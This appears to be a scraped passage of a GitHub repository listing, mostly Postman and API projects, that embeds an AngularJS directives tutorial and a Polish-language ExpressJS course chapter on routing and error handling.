account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users 		I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. 0 stars 0 watchers 0 forks
ANVESH96/Developers-Community
application, developer, developers, form, knowledge, platform, progress, unit 		Community platform application for developers to share their knowledge and get help from other developers.Built using React with Redux, Nodejs ,MongoDb Atlas, JWT, Mongoose and POSTMAN. (In progress) 0 stars 0 watchers 0 forks
atljoseph/api.go.josephgill.io
api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website 		This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. 0 stars 0 watchers 0 forks
Heintzdm/SCM_API_Library
data, dump, including, library, progress, sets 		A work in progress library of SpringCM API calls in Postman. This JSON is data dump including Collections, Globals( w/out keys/ids), and Header Presets 0 stars 0 watchers 0 forks
johnddias/postmancollectionvrni
collection, progress, vrni 		vRealize Network Insight Public API Postman Collection (work in progress) 0 stars 0 watchers 0 forks
luizclr/PostmanJs
data, graph, progress, search, struct, structure 		🚧 work in progress... 📬 A postman searching for the best way to work using a graph data structure in JavaScript. 0 stars 0 watchers 0 forks
ysodiqakanni/ShopifyTrialStore
check, commerce, define, form, performing, progress, server, shopify, style 		This repository is based on a challenge by shopify to create an API for performing some basic CRUDs in a defined e-commerce style. Development still in progress. For review purpose, check the ProductsController, it's the most up to date. Language: C# ASP.net web API with 3 layer architecture Technologies: Entity Framework, Dependency Injection, SQL server, NUnit, Postman 0 stars 0 watchers 0 forks

boilerplate (8 listings) (Back to Top)

Massad/gin-boilerplate
boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test 		The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. 0 stars 0 watchers 65 forks
nicp0nim/rest-api
boiler, boilerplate, rest, restful, restfull 		Laravel restfull api boilerplate 0 stars 0 watchers 22 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
itsmebhavin/nodejs-express-typescript-boilerplate
boiler, boilerplate, express, node, nodejs, script, type, types, typescript 		Sample boilerplate project for node.js, express using TypeScript and Gulp. 0 stars 0 watchers 8 forks
AndreiRupertti/newman-contract
boiler, boilerplate, collection, contract, newman, postman collection, program, programmatically, test, testing 		Creates a boilerplate postman collection for contract testing programmatically 1 stars 1 watchers 0 forks
shahedex/nodeREST_boilerplate
boiler, boilerplate, mongo, mongod, mongodb, node 		REST-API Boilerplate using nodeJS and mongodb 0 stars 0 watchers 0 forks
Luke984/PostmanSetUpCollectionWorkFlow
boiler, boilerplate, collection, workflow 		A boilerplate for manage workflow in a collection of Postman 0 stars 0 watchers 0 forks
tmack8001/postman-boilerplate
boiler, boilerplate 		A Boilerplate Collection for use with Postman 0 stars 0 watchers 0 forks

meta (8 listings) (Back to Top)

yojji-io/metaman
alternative, builder, included, meta, native, workspace 		Postman alternative request builder (workspaces included) 2 stars 2 watchers 1 forks
metasys-server/apib-2postman
generator, meta, print, server 		An API Blueprint to Postman Collection generator 1 stars 1 watchers 1 forks
yuuvis/Postman
collection, file, json, meta, sample 		This is the yuuvis® Ultimate Postman collection incl. a sample metaData.json file 1 stars 1 watchers 1 forks
dawitnida/timetastic-postman
meta, place, placeholder, timetastic 		Postman Collection + Environment for Timetastic API, a placeholder to maintain Timetastic API Postman Collections (not owned by Timetastic). 1 stars 1 watchers 0 forks
h-parekh/metadata-quality-checks
check, data, meta, postman tests, quality, test, tests 		A repository to share postman tests for metadata quality 1 stars 1 watchers 0 forks
TheEvilDev/hapi-postman
collection, data, endpoint, exposes, hapi, meta, plugin, postman collection, test, testing 		Hapi plugin that exposes endpoint meta data as a postman collection for easy testing. 0 stars 0 watchers 1 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na 